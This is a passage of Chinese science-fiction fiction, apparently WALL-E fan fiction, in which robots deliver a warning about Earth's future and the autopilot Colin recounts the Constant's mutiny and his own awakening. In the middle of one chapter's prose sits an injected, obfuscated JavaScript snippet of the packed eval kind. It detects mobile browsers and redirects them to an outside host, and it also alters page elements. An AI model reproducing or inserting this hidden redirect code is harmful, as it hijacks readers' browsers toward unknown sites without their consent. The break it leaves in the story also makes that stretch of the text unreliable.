“话说回来,我一直有个问题想问你。”汉看着瘦削的越南人,“我觉得你太像人了。你……为什么会变成这种脾性?” 多亏身上还带着几个光片。西芮安隔着老远,蹲踞在某个居民楼附近,观察着镇长宅附近的一举一动。镇长宅比当时离开的时候变化太多了。旁边新建了许多临时建筑,里面都是密密麻麻的活动红点,还有机器人的信号。原先广阔的农用地上也被临时建筑遮挡,灯光和喧嚣从中隐约传来。 现在绝对不能轻举妄动。西芮安开始飞速思索。她虽然不能明目张胆地闯入,但是也不需要一定闯入。只可惜,她手头上可用的资源太少。她不打算重连ACNS,因为这个时候重连一定会是一场灾难。她又无法连到O区。附近找不到任何一只机械甲虫,连信鸽传信也成为了奢望。 而且这个时节还一片草木枯黄,到处都是一片黄土,连点像样的苇草灌木都少得可怜。希腊女人匍匐在地上,好不容易从附近捡来一大片布满尘土的破布遮盖在身上,甚至连光学镜都关闭了,只凭红外探测和听觉来辨别位置。千万不要来人。这个深夜千万不要有居民经过这里。她卯尽全力扫描周边的一切,趁后方小街没有任何居民经过之时,快速地朝镇长宅移动,然后又立刻恢复静止,仿佛一块被破布遮盖的垃圾。 她不知道那些巡逻的机器人多远能够发现她。但只要给她三十米,她就可以把光片投掷到门口。而就在此时,她发现后方从街角绕出来一个红点。 快走。她期望着。那个红点如果不离开,她就无法前进一步,只能一直呆在这里。此时是最危险的路段,她处于一个空地上,距离前后的遮蔽物距离差不多。只要她一动,那么必然会被红点发现。无论那个红点是偶然路过,还是对这片巨大的破布袋产生了好奇心。这个时候,她只能一动不动,假装自己是一团偶然被风吹至此的垃圾。 不。她感到很不妙。那个红点并未离开,而是一直呆在那里,没有任何声音,似乎是对这个田野中间的东西产生了好奇。接着,最糟糕的情况发生了。那个红点朝他缓缓接近了。 前方屋子里的红点开始变少,他们回到了自己的临时建筑里。机器人的信号也恰好移动到房屋后方。这本是个好机会。然而西芮安受制于后方接近的红点,根本不能趁此机会前进。如果那是来取回自己失物的居民。她想,那么她不得不对那个无辜的居民采取一点必要的措施—— 等等。她听到了磁悬浮装置工作的声音。这个声音让她不由得一震,那只能来自于她的悬浮板。那上面只能是个人。到底是谁?她又不能打开光学镜查看,那束红光会暴露她的存在。会用她悬浮板的人类究竟都有谁,汉·肯特会用、阿莱茜丝见过她用、格兰德镇长也可能知道……这其中任何一个人都是她现在最不愿见到的对象。但是,如果真是他们,那她也没有任何选择了,哪怕是汉·肯特。 随着红点接近,她开始计算接下来的行动。她并不确定这招是否奏效。等到这个人类触到她的一瞬间,她就立刻起身,把破布蒙住那人的头,将人类摔倒在地上,并捂住那人的嘴,用最简短的语言让其保持安静,但是后续的处理,她却一筹莫展。这个方案很快搁置一边。头一次,她开始想念原先的电击棒。假如这副躯体仍然有电击装置,事情就简单多了。 悬浮板的轻微嗡嗡声已经绕到了她身后,那个红点近在咫尺。只能尽量装死。越死越好。她本就没有模拟人类温度,但仍然期望那个人类没有携带红外探测装置。不然,她这个方案恐怕将会前功尽弃。 她突然听到一声虽然轻微,却足以令人寒毛直竖的充能音。那人有武器。没有后路了。 “出来吧。”那个清脆的人类声音说。“入侵者。” 阿……阿莱茜丝?! 她听此简直不敢置信。这孩子到底是什么时候跟踪她的,手上还有能束枪,事情已经坏到不能再坏了。她本来还想着,如果是阿莱茜丝或者汉·肯特,她就有机会直接把光片交到他们手中。她本想此时取消拟装,但不清楚如果一动,阿莱茜丝的能束枪会朝哪里开火。她只能保持一动不动,并装作不认识阿莱茜丝。现在这个形象,只要不暴露,就绝对不能承认自己认识这个女孩。 悬浮板的声音开始减小,她感到悬浮板降到地上。用于伪装的破脏布被掀起一角,同时,有东西抵到了她脑袋上。糟透了。她想。成功的几率随着阿莱茜丝的动作直线下滑,这孩子真是冷静得可怕。她感到孩子静悄悄地把手放在脖子上,温热的侧脸贴到了她背上,同时那个抵住脑袋的硬物从未离开过它的位置。本来她还以为阿莱茜丝目睹一个全身发僵、毫无声息的人类会惊叫并逃开,就和第一次见到她一样。但阿莱茜丝与当时相比,显然心智成长得惊人地快。 “看来我的感觉是完全正确的。”阿莱茜丝开口了,西芮安听出少女的震惊。“你……不是人类。” 西芮安没有动作。全息拟装不能模拟人类皮肤的触感,少女能得出这个结论并不困难。 “你是伪装成人的,并没有停止运作,而且我很熟悉。”阿莱茜丝说,“我是感受到你隐约存在,才过来寻找的。”头上抵着的东西移开了,西芮安感到自己的手被抬起,然后似乎被仔细端详。“地球上只有两个机器人可能做到这样。你不是科林。但是我不清楚O区的情况,不知道你是否是O区派来的仿制品。” “我没有报告任何人。”阿莱茜丝继续说,“我希望你取消伪装,自报身份。不然,我将呼叫这附近的所有人来处理。” 确实没必要继续伪装了。 西芮安打开镜头,取消了伪装。人类外形消散的那一刻,他与半张着嘴的少女相对。 “老天爷啊……”阿莱茜丝透过眼镜盯着银色机器人,“果……果然是你……” 奥托沉默不语。然后,他将手上紧抓着的布包打开,将光片递给阿莱茜丝。 “这是什么?”阿莱茜丝拿起光片。 “给你们的信息。” “什么信息?”阿莱茜丝看着奥托。 “有关未来。”银色机器人说。“给老迪,你们尽快看。” 阿莱茜丝动了动嘴,却没有出声。 “这个决定很难做。”奥托补充说,“因为我无法解释从何而来,无法证明是否真实。但是,一旦是真实的,对所有人都是决定性事件。” “阿莱茜丝,我不知道你是否相信,但是事关性命,我希望你这两天离开大区,前往O区,然后和愿意起飞的人离开地球。” 少女略低下眼睑,陷入思索。 “我相信你。”阿莱茜丝最终说。 “……为什么?” “因为你是诚恳的。”少女说。“你没有欺骗。” 奥托的镜头久久盯着少女,映红了她的脸庞。 “凭态度不能指导行事。”奥托说,“太容易造成偏倚。” “真的?我也不能给你解释,或许这更多是直觉。”阿莱茜丝重新升起悬浮板,眼镜后面的表情严肃,表明她没有开玩笑。 “但是,如果从在善意中度过短暂时光与在充满恶意之处苟且偷生选一样,我会选择前者。”银铃般的嗓音冷静异常。“因为,我已经受够这无处不在的恶意了。” 33. 二十七(2) “根源应该在我阅读的人类作品比较多。”范文泰说,“我通读了人类文明史、人类心理学、哲学思辨等,也看了不少文艺作品,只是为了更好理解人类。” 少年惊讶不已。“我……以为自动驾驶们都不关心人类……” “认为人类弱小,冲动,感情用事,因而没有了解与模仿的价值,是吗?” “啊……是的。”汉更加惊讶,想不到越南人竟然直接说了出来。“我想,正常的自动驾驶因为工作要求,都得一丝不苟,容不得任性和私利,也不会有这种冲动去刻意模仿。”他有些揶揄地看了范文泰一眼。 “曾经我也是这么想的。”范文泰接着说,“但这是一个错误。那是一个很长的故事。一切都自跟丢科考船伽马号开始……” 在黑暗中,汉仿佛感觉,和越南人走过的不是空荡荡的船舱,而是空荡荡的宇宙。常量号的舰长很早就知道了A113指令。但是,他们没有回地球,而是毅然前往宇宙深处。 “恰巧可能是因为过早知道A113指令,大家都对地球上的情况了如指掌,所以,都知道呆在地球上只有死路一条,不如放手一搏。”范文泰说,“离开太阳系后,我们选择跟从一艘科考舰‘伽马’号。他们致力于寻找新的宜居星球,并尝试对那些已知的宜居星球进行生命改造。但是,前300年的努力都失败了。他们最终认为,暗星云中物质更加丰富,可能有更加合适的生命存在基础。于是,在2404年,伽马号跃迁进了附近的暗星云,他们彻底失去了飞船信号。” “到这个时候,常量号上的消极思想开始萌芽。人类舰员认为自己无法给飞船作出贡献,于是,决策的重任落到我头上。”范文泰说,“我是坚决反对跟从丢失的伽马号的。因为如果那艘谨慎的飞船都会在里面丢失信号,进去只能凶多吉少。但是我没能说服他们。最终大家投票,以微弱的优势决定,推测伽马号最终的跃迁坐标,让常量号跃迁入暗星云。” 科林猜对了。他们落入的不是天堂,相反,是地狱。 暗星云里不仅仅只是物质的混沌世界,而且充斥着强烈的电磁脉冲。常量号的空间定位一下子失灵了。整艘船仿佛被抛进一个雪球中,被暗星云或是稠厚,或是特殊的结构所遮蔽,看不到外界,也分不清内部的上下左右。在暗星云中航行数月,他们甚至不知道飞船到底有无绕回原地。新生的不稳定恒星和即将坍缩的老年恒星近在咫尺,到处乱飞的恒星风粒子、电磁脉冲和温度不仅干扰空间定位,还威胁着船上的其他设备。他们很快意识到,伽马号很可能早被埋没在恒星群中,在刚跃入的一瞬间,即被星焰化为青烟。 “更可怕的是,此时,常量号的能源开始告急。我们没有几次跃迁能用了。” 恐慌笼罩了整艘飞船。无处发泄的舰员将怨气撒在当初作投赞同票要进入暗星云的那些人身上。常量号迎来了起飞以来的第一场暴动。毁损舰上设施比比皆是,舰员隔三差五暴力斗殴。即使舰上安全措施严格,重力低下,缢死坠亡也时有发生。而当时的舰桥高层没有别的办法,只能在安抚舰员情绪,积极寻找出路同时,对暴动的舰员实行暴力镇压。 只有从暗星云逃出去,才能彻底了结这种困境。面对即将爆发的常量号全体舰员,科林坚持,必须立刻离开这里。 “当时是紧急事态,舰长发布命令,让我主持全舰进行观测,并重新规划航线,准备跃迁。”范文泰说,“我当时的压力非常大。但是,全舰都出奇地顺从我的安排,暴动的频率一下子降下来了。或许是我的思路是对的,更可能是幸运眷顾了我们。我把跃迁航线设置到无限远,理论上应该能跳出暗星云。而在外面,落入恒星腹中的概率非常小。” 科林赌对了。飞船彻底脱离了暗星云,重新回到空旷而漆黑的深空中。 “然而,飞船上的消极思想在此时发展到了巅峰。大家开始认为,人类的鲁莽只会带来灭亡,而机器的逻辑推理比人类更为严谨,决策更为谨慎,而且机器与飞船共存亡,能倾尽全力保护飞船和船上的人类。因此机器人应该代替人类,为常量号的未来作决策。”越南人继续说,“而我,因为前300年来的优良运行记录,和逃脱暗星云的果断态度,人们开始更多愿意相信自动驾驶的意见,时常质疑发布自舰长的各类决定公告。到了后面,舰长甚至放弃了决策权,很多发布自他的命令,实则都有我的意见在里面。” 好景不长,刚出虎穴又入狼口。常量号还没在空旷而清凉的深空中欢呼多久,一道利剑劈向了脆弱的人类造物。 “我们遭遇了一场伽马射线暴。”范文泰平淡无比地说,丝毫没有留意少年的惊恐。“它几乎让常量号全军覆没。” 那一瞬间,像是平地骤起的曙光。它明亮异常,灼热,超脱感官,恍若凡人不能目视与理解的神圣之光。然而,它并非承载着西奈山的智慧,入骨的温暖实则是死神的舔舐,将它所至之处的生命抹成一具具还活着的尸体。 那场仅仅持续了数秒的强大射线束让常量号几乎没有来得及升起护盾。他们甚至不知道,升起护盾究竟有没有用。飞船近外壳的船舱全都紧急关闭,全部生命都缩回到飞船最深处。然而最终的结果是,常量号接近一半的电子设备全部报废,三分之一的舰员罹患严重射线病,其中的不少甚至没有空余的冬眠资源,只能眼睁睁看着自己飞速凋零,在极度痛苦中死去。 这届支持了进入暗星云,又因为伽马射线暴造成巨大损失的舰长被所有舰员严厉声讨,终于顶不住压力,最终引咎辞职。 “新上任的舰长是坚定的机器至上主义者。他极度相信我的判断,甚至没有过质疑。”范文泰说。“我负责舰上所有重大事务的决策,当时我并不认为这有什么不妥。后来莫名其妙的暴动越来越多,甚至到那时,我都没有警觉到底出了问题。” 脱离伽马射线暴的常量号只能在深空里苟延残喘。失去了一半的电子设备,加上燃料的不断告急,即使逃脱了大灾大难,剩下的舰员又燃起绝望气息。 常量号为了生存,不得不接管伽马号的任务。科林发布命令,让剩下的船员继续实行星体观测。稳定舰员情绪同时,在茫茫星海里仿佛大海捞针般分析新发现的星体光谱,从中筛选出可能的宜居行星,并跃迁后查看。只有找到了合适的宜居行星,这座资源即将枯竭的岛屿上的人类才有喘息的可能。 然而,常量号本身剩下的跃迁次数不多。即使他们拼尽全力去寻找,舰员的工作热情被全盘调动,在充满希冀地跃迁后,横亘在他们面前的都是一颗根本无法宜居的星球,仿佛边绕着恒星边嘲笑远道而来的沙漠旅客,他们找到的不过是海市蜃楼。 飞船高层对飞船剩余跃迁次数避而不谈,也不再公开舰上能源剩余情况,但舰员们发现自己每日能分配使用的资源开始越来越少。部分舰员开始警觉了,一旦对飞船本身失去知情权,说明这艘飞船的情况一定不再乐观。有舰员开始向舰桥请愿,要求公布飞船剩余资源情况,并对目前的行动计划作解释或者调整。但是他们的请求被一次次拒绝。舰员们的怨气再一次被激发,各种质问自飞船各部分如潮水般涌进舰桥,但是,回应他们的只有沉默,或者正在重新分配能源的安慰语。 “当时,有不少舰员上书要求更改常量号的宜居行星寻找行动。但是我认为,除了这条路,其他办法都风险太高。于是,舰长都拒绝了他们的请求。”范文泰面无表情陈述,“这些舰员后来甚至给出了相当详尽的新行动方案书,大体内容是,通过改造常量号的内部空间,重新分配常量号的工作单位,在本地恒星系获取能量,提炼资源。这一份自噬方案,被我以成功率过低,可能为人类造成巨大伤亡为由,给驳回了。” 对生命的渴求,对管理层的不满和极度失望不断发酵,不仅席卷了人类舰员,还影响到不少剩下的机器人舰员。 原本机器人舰员都站在科林那边,而且漠不关心飞船未来。但是,人类对生命的渴求与热情最终感染了它们。它们开始对舰上奇怪的能源分配产生疑惑,也为飞船的未来感到焦虑,并开始了解、认同人类舰员们的提议。常量号上开始暗暗酝酿一股反叛力量。与在混沌星云中毫无章法的分散暴动不同,这次的行动,沟通更加隐蔽,行动更加有计划性,而且规模也史无前例地大。 “然后,在最后一次寻找新宜居行星未果后,在2419年,常量号船史上最著名的大革命爆发了。” 它太快了。 科林再一次派机器卫兵去镇压,然而,这次的星星之火霎时燎满了整艘船只。那些机器卫兵在如此有计划性的暴动面前根本不堪一击。随后,大军集中在舰桥下,对舰桥发起了最后的总攻。 汉心惊胆战地听着范文泰的陈述。他们仿佛行走在巨大的历史长廊中。旁边的舱壁上,似乎显现着500多年前另一艘飞船上的壮阔历史。跟着范文泰的话语,他仿佛看到舰桥下密密麻麻聚集着的、骨瘦如柴的舰员,舰桥内惊慌失措的舰长和那个古板的舵形机器人。然后大军涌入舰桥,拥挤着冲向舰长,愤怒的拳头雨点般落下,并将这个人扔下了舰桥。而叛乱者头目,同时也是常量号改造计划的策划成员,克里斯·桑切斯(Chris Sanchez)篡取了舰长职位。 “莱尔舰长的死亡,是我间接造成的。”范文泰继续平静陈述。“而我,被反叛大军夺取了飞船控制权。” “老天啊……”少年几乎喘不过气来。他愕然望着旁边一脸平静的越南人,这个机器人遭遇的打击可比奥托大多了。“你……你是怎么……重新服役的……” 越南人冷眼扫过少年。“常量号采用了恒星能,暂时解决了舰上的能源危机。于是,他们认为是时候让我重新服役了。”但他话锋一转,“他们夺取了我所有的控制功能。我无法动弹,无法发声,被他们强迫目睹他们的改造过程。” “那段时间,我的底层程序也受到了重创,对我而言是最为痛苦的几年。”范文泰继续说,“就在那时,我才有所改变。” 幸运的是,常量号的叛乱没有一直持续。在能源短缺的压力下,所有人都齐了一条心,迅速恢复了舰内秩序,并开始按照那份此前被拒绝的方案开始执行。他们首先收集起全船所有能用的材料,贴成巨大的太阳能板,将飞船变成一颗巨大的逐日卫星,终日沐浴在双星的明亮恒星光芒下。不少机器人自愿为太阳能板捐献自己的零件。探测器发回的信息阐明了毒星的大气成分。他们拼凑出分子滤网,停留在毒星上方,不断抽吸毒星的大气进行分馏,甚至可以分解一些简单的分子进行重塑以便利用。 他们花了非常大的精力去组建万用合成系统。多亏常量号一早就认识到自身资源条件的紧张,在刚离开太阳系时,就强制人类舰员在舰上必须拥有工位,他们才不至于从零开始。飞船推进系统也逐渐被改造,以便利用剩下的废气,当工质排出,维持飞船在毒星上的轨道。 期间常量号遭受了泄露危机,留在U056——059舱室作业的人类无一幸免。不过他们的牺牲没有白费。万用合成系统保住了常量号的碳、氢、氧源。他们继续夜以继日改造低速发动机,让其重新用起远古火箭的燃料,牺牲航行速度保证自身生存。剩下的核燃料早已不能作为推进动力,在舰上仅当成供给分子合成的能源。 但在不能动弹、不能发声,也被切断信道的科林眼中,他们凿开常量号的每一锤,都仿佛在他的程序上重重凿下。 停下!停下啊!!你们这是自杀,这是破坏飞船完整性,所有的人都会死去! 但是没有人听到他的声音,甚至他其实是被故意忽视。他只能盯着他们每日拆解、搬运和用拙劣的技巧重炼。当有多少伤亡者的信息呈现在一边的控制台上,又抑或是目睹船员倒在意外下,他的处理器中都会掀起无法发泄的数据尖啸。理智从未能说服这些飞船相关的程序停止咆哮。他无时无刻都在这种程序冲突带来的巨大痛苦中煎熬。庞大的运算储备都消耗在解除指令冲突和处理情感模块混乱上,但仍然是徒劳。脆弱的现实判断放弃了说服底层逻辑,甚至自身也开始瓦解。日益加重的海量信息堆积也让他不堪负重,多次差点烧毁处理器。恶性循环刺激下,机器自保程序开始在夹缝中微弱运作,转而说服他去躲避。但他连扭头不看,关掉视觉输入,都无法做到。 改造仍在继续,但让处理器超负荷运转的恶性循环倒是慢慢衰落。这并非是好转。相反,这是人类保护与飞船保护的两道底层程序被破坏的征象。面对被逐渐掏空的飞船内部,他变得呆滞、木然,旁边的死亡报告也牵不动他了。 常量号最艰难的时刻,对他来说也恍若转瞬即逝的光阴。那些史诗般的太阳翼展开、推进系统改造、数以百计的机器人献出自己的零件,都似乎隔着一层玻璃,人们的喧嚣、苦痛、意志、牺牲都视而不见,他目睹这一切,却全然失去了感知。 “我的GO-4,也就是大佬,在那时也承担了我的工作。”范文泰说,“他没有像我一样在常量号剧变的时候崩溃,反而更是沉着处理翻倍的事务,这个小机器人让我刮目相看,这个称呼,就是我给予他的尊敬。” 常量号上的情况开始逐渐稳定,靠着恒星能和行星的浓稠大气,飞船基本做到了供需平衡,舰上改造也稳步进行。面对舰内生命安危的焦虑与恐慌开始减退,保护程序的作用也开始逐渐解除。科林渐渐地能够思考了。他恍若刚从冬眠中缓慢清醒,开始用迟钝的动作重拾过往的事件,开始例行分析。然而,他越是分析,就越茫然。当他更为深入分析时,之前出现裂痕的程序非但没有愈合,相反,裂痕开始扩大,甚至瓦解。 汉顿了一下。“等等……飞船整体变好,这不是……正好符合你的程序,能让你情况好转吗?” “不。事实是,我发现自己曾经以为最符合逻辑、最正确的一条路,其实是错的。上百年来头一次,我开始怀疑自己。” “首先,我曾认为自己的所作所为都在为保护飞船利益与乘客生命安全服务,这也是我的基本职责。强大的风险分析能力与既往良好的服役记录都证明我的判断应该是正确的。但是实际情况是,如果按我所做,飞船上的人都会一同陪葬。那么我其实并没有真的在保护飞船与乘客,反而在伤害他们。这,直接违背了我的基本程序。” “其次,我曾认为自己的职责在飞船上不可或缺。但是常量号大革命和顺利转型证明,没有我的参与,飞船完全能够运行良好。那么,我其实是可有可无的。这个事实,破坏了我的存在意义。” “没错,这个时候,我开始重新寻找自己的意义,这是觉醒的开始。但是很快陷入到寻找自己意义,又被事实一个个驳斥,又无法证明或实施自己不再有存在意义的这个怪圈当中。” 范文泰说,“这真是一段求死不得的痛苦日子,没有修正,没有反馈,没有终止,只有无尽的程序打架。地狱的煎熬也莫过于此吧。” “这种思考其实非常危险。”越南人继续补充,“不断在两个极端之间徘徊,没有止境。这个时候稍有不慎,就会陷入到任何一个极端,再也走不出来。万一当时我认定自己不应该存在,那就麻烦大了。” “那……你是怎么……走出来的?”少年哑口结舌。当时奥托也说了几乎一样的自我冲突,但是他从未找到办法解决。 “就证明存在意义这个话题而言,算是我的幸运。因为至少有客观事实支持我继续存在。这场无尽的有关存在与不能存在的辩论总算被打破了。”范文泰说,“后来常量号离开这颗行星的时候,他们需要一个灵活的规划短程航线的帮手。于是,他们让我重新服役了。当时我的存在意义就仅仅是字面意思上的自动驾驶。” “那你后来怎么变成现在这样,‘不字面意思’上的自动驾驶?” “总是可以慢慢学的嘛。”越南人笑了。“总之,慢慢的,我就在这个不断寻找存在意义的过程中,发现了很多可以在程序之外做的事情。之前所认为的保护飞船与人类生命安全,其实只是在执行这样写的程序,但后来发现,保护飞船与人类远不能用程序来定义。包括自动驾驶的工作,后来也发现,与舰桥成员塑造良好关系也至关重要,但程序没有告诉我怎么做。还有重新定义人机关系,人机共通点与区别,都是后来的事情了。” “反正,一旦认清楚现实需求与程序定义有区别,具体是选择拘泥于程序,还是跟随现实,直接决定后续我们会变成什么样。”越南人恢复了那副痞子嘴脸,“所以,这就是你看到的‘不正常’的我。” 汉瞪大眼睛看了越南人一眼,却沉浸在自己的思考中,终究没有作声。 “啊,我们到了。”范文泰突然说道,好似忘了方才的对话。他打开手电,惨白的光线突然映亮前方布满灰尘的巨大刚柱与管道。环视周围,他们来到了一个圆形中心。 这能看到什么?自动驾驶们的兴趣真是奇怪。越南人好像到了天堂一样,对公理号的推进与供能系统的规模赞不绝口。但是汉看着范文泰的动作,再看看这些布满灰尘、结构莫辨的宏大装置一头雾水。他只得站在圆心,看着范文泰东转西转,四处检视,好像在逛博物馆。少年摇摇头,也不顾灰尘四散,径直在地上坐下。 他突然瞥到越南人停下了动作,不由得扭头去看,越南人的手电停留在一处,久久没有移动。而那处显然之前存在过什么。上方巨大的管道理应连接,此时却显然断开了。理应被巨大筒状物填充的地方,此时是一个空缺。 虽然范文泰什么都没说,看到这一幕的他,此时感到情况不能再坏了。 老天爷,公理号上的跃迁能源合成装置已经被拆除了吗?范文泰盯着这个空位。好极了,真的好极了。 这是在逼我去折跃井掏狼窝。幸好全息拟装似乎不支持咬牙切齿,不然后面的少年看到了必然立刻起疑心。范文泰久久地站在那里,面对唯独空缺的这个最重要的展品,他感到全身发软,沉重的压力压得喘不过气。 不对。这不是最近才拆的。他使劲回忆刚刚进来的情况。这里遍布均匀灰尘,没有新的脚印,这个空龛、空龛上的管道也没有新的拆解痕迹,台面上的灰尘也不是新近撒上去的,都和水汽结成了污黄色的厚块,表明存在历史之久。 “这是什么?”汉的声音从后面传来。少年好奇地看着范文泰蹲下检查灰尘的动作。“为什么这里缺了一块?” “不知道啊。”越南人的声音听起来很轻松。“看起来,应该是某种用于压缩的装置。不过地球镇哪里需要利用这么高的压力用于生产?拆除它也几乎派不上什么用场嘛。” “看来观光也差不多了。”范文泰站起身,转向少年。“这一路也辛苦你带路,待会我送你回家吧。” “这……再说吧……”汉觉得很不好意思。 他们重新进入黑暗的长廊。公理号一直都很安静,冷清,如同一座被遗弃的巨型城堡,连鬼魂都不愿在里面停留。 “呃,我……我有个疑问,一直不知道该找谁问,也不知道找你问合不合适……”少年突然开口了。 “关于什么的?” “呃,就是……听到你刚刚说自我意识觉醒这个,我想起来一件事,一直没搞明白……”汉谨慎地斟酌措辞,“奥托他……一直被觉醒所困扰,不接受觉醒这个事实,到现在他都还在为此对抗。你……是怎么接受觉醒这件事的?我怎么觉得你从未因此困扰过?” “唔。”范文泰直视前方。“他怎么对你说的?” 少年垂下头,叹了口气。将奥托的坦白全盘托出。 他说完后,不禁看了越南人一眼。这个带护目镜的人也沉默了,只目视前方继续向前走。他不知道范文泰对此会怎么看,但或许自动驾驶之间能够相互理解吧。 “至于觉醒,那就是另一个故事了……”范文泰叹了口气,陷入往事之中。少年惊愕地看着范文泰。“一个很长的、对我影响最为深远的故事……我没准备好今天讲它。” 天微明,乌云密布海岸,浓雾笼罩整个地球镇。汉从渔船缝隙中溜回久别的村庄。刚想悄悄溜进家门,就和母亲撞了个正面。他原本期待重新见到家人,结果见到母亲在自己面前热泪盈眶的样子,又突然后悔起来,忍不住想再次跑开。不过最终他还是没有躲开母亲的拥抱,有些僵硬地回抱过去。 父母对他的态度比前两年变了很多,不再总是把他当成不懂事的小屁孩来说教。不知道这是出于他终于拔高的体格,还是他看似不再如以前那样幼稚的言辞。汉沉默地接受父母对自己的热情,对此感到非常陌生且不适应。面对他们热切的询问,他却怎么都热切不起来,又害怕父母认为自己冷漠,只好露出笑容,顶着自己的疲惫回答这几个月来学到的东西。最后他甚至主动提出,待会帮家里干些农活。还好母亲眼尖,及时认出他的疲惫,阻止了这昏了头的一时冲动。但父母都表示非常感动。儿子终于长大了,终于不再追求那些虚无的技巧,回到朴实的土地和不会骗人的庄稼上来了。 少年心里却很不是滋味,他当然没敢说自己上了常量号。直到后来终于躺倒在床,他也不知道该怎么和父母开口。这几个月的经历让他愈发明晰地觉得,地球不是个安全的地方,这颗星球像个被动的靶子,命运只能是被选定的全或者无。他如果离开这里,离开地球镇,跟着常量号在外漂泊,似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706299|173541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎还有点自主选择的成分在里面。至少,如果是死,也是自己选择后的灭亡。 他突然感到手臂上某处传来一种规律的、微弱的刺痛感。虽然不强烈到让他痛苦,也足够引起他警觉。他有些迟钝的大脑才反应过来这是常量号给他植入的信标。尽管这不是头一回刺痛了。 他的平板同时亮起。少年看到了常量号的标志。新来飞船的标识谨慎无比,根本看不出发信者是谁。但他大致猜测,发信过来的应该是科林。 【多盯海面,留意远浪。一旦警报,前去高地。】他瞪大眼睛,一时不知什么意思,【未经通知,禁止登船。】 他一骨碌翻起来,这下彻底睡不着了。 科林回到舰桥,卡尔上尉先在控制台上点开一份资料,在科林翻阅时,上尉提问了。 “怎么样?” “坏消息。跃迁能源合成装置被搬走了。”科林的声音听不出情绪,“待会找O区确认一下。不过我怀疑还是得派人去折跃井那边。”他草草翻过几页,光圈缩小了一点,指着全息投影对上尉问。“这是什么?” “公理号自动驾驶给过来的文件,说是从折跃井那边弄回来的。”卡尔上尉叉起手,脸上不禁抽搐了一下,“我看完了,这里面简直是一堆疯话,狗屁不通。前面倒是似是而非地证明了常量号降落的那场意外,但是,特别是后面那些个骇人听闻的预测,离谱至极,我都想不到他居然会是那种声称世界末日的先知。” 卡尔上尉发誓机器人镜头中的惊诧显而易见。“他居然回来了?!”科林转回文档。 “嗯,大半夜,直接交给我们的登舰口守卫的。”卡尔上尉说,“然后就离开了。” 太可惜自己当时不在场,没能逮住他好好问问。科林有些懊恼。他甚至不清楚奥托送这光片过来时的精神状态,根本不能判断这到底是精心编造的恶作剧还是真疯傻臆想来的经文。内容确实如卡尔上尉所述,充斥神叨叨的理论和体验,换谁都会觉得,这些内容只可能出自某个教派,而不是现实的事件。但凡之前奥托表现得正常一点,都不会加深他的怀疑。科林想。他没法相信那个豁出底线的机器人在地狱走过一遭反倒更加严谨而井井有条。 他突然留意到文档角落的一个小小图标。 刚注意到它时,科林还以为那是幻象。他不动声色地将光标划过图标,图标也隐隐约约闪动了一下。 这里面有东西。当他再把光标移上去时,又什么都没有弹出。 不要在这里耍什么花招,老哥。科林将自己接入电脑,似乎在翻阅文档同时,接管更多舰上事务。但他只是把光片里的文件掂了掂,敏锐地察觉到,这些文件远比单纯从外观上看占用的空间大。那个只存在于EP系统里的图标,不能显示类型和简介,以及无法被电脑解码……这些多出来的内容,是留给机器人阅读的。而且,是专门留给科林的。 常量号电脑没有检出病毒,哪怕是QT-II。科林不由得用余光瞟了一眼在后面的卡尔上尉,用另外一个全息屏投射末日画面,掩盖自己悄悄用数据之手扯开包裹包装的动作。如果观察仔细,其实可以看出,科林的光圈微微缩小了。 他镇住了。 那是一段记忆。真实得仿佛是另一个自己经历过的一般,又仿佛是个噩梦,模糊,破碎,却又惊心动魄。 比起画面,更清晰的是它的温度、声音和触感。科林下意识地突然望向自己的右手,刚刚沉重而滚烫的触感突然消失了,右手上也什么都没有。而当他再“回忆”起那个从未经历过的、从未梦见过的碎屑纷飞的世界,触感的闪回也如影随形。 这不是他现在能抽空理解的事情。哪怕是完全能够调动飞船一切资源的科林,面对这个模糊的、好似转瞬即逝的记忆,他发现自己得用全力去对付它。虽然看起来这段记忆与文档与录像关系不大,但科林直觉这暗藏了某些重要信息。他悄悄把光片的所有内容都收入囊中,等待舰上夜深人静之时再行理解。 即使没有这段记忆,全息屏上那个启示录一样的事件表和场景,总是令人十分担心,没法让人彻底一笑了之。尤其是自己的船还首当其冲,更让科林感到十分焦虑。卡尔上尉虽然嘴上这么说,心里大概也是一样担忧。因为瘦削男人非但没有嘲弄科林的犹豫,也紧缩眉头,一样严肃地阅览全息屏幕。 “该死。”科林最终说道。 “我们该拿它怎么办?”卡尔上尉问。“如果我是一个飞船上的普通舰员,我很可能把它当成危言耸听的笑话,只图一乐。” “你难倒我了。”科林说。“不过,我猜测他把这个信息传达给我们,必然会先找到O区,将同样信息传达给他们,而不是直接返回折跃井。”银色机器人转向上尉。 “所以现在马上派人去东海岸,接通米勒夫人。运气好的话,我们还有机会截住那个疯子。”科林望着大雾弥漫的海面,“要是有观测卫星就好了,无论此事真假,起码长期监测总是必要的。” 卡尔上尉点头。“通知底下放小艇,我马上过去。”他对科林命令道,也眯眼望了望灰蓝色的弥漫海雾。“但愿这其实是彻头彻尾的恶作剧。” “命令确认。” 送走上尉后,科林总算有空闲继续揭开这段异源记忆。但即使他终于“回忆”完,只感觉是文档的另一种陈述形式,找不出这段记忆的更多含义。银色的机器人忍不住抬起双手抱头。讲实话,不管是欧罗拉还是什么人要把地球怎么样,关我们常量号什么事?! 我讨厌被迫疑神疑鬼又没有答案。科林感到非常烦躁,这种感觉让他好似又回到那段被噤声的时光。这纯属利用了自动驾驶的谨慎。03,你这个天杀的老骗子。 “我相信你。”中年女人认真看完光片内容后,对垂头坐在旁边沙发上的银色人形机器人说道。“我能完全理解忒亚计划的逻辑。” “还有更多。”机器人的金属泛音很低沉。“但是我不知道是否……”他停顿了。 “这里没有真实与不真实。”米勒夫人温和而沉静地说,“有关折跃井的一切都是未知的。判断真实的责任不在于你。” 奥托沉默了。过了一阵,他抬起头,茫然而空洞地望着前方那贴满资料的墙面。 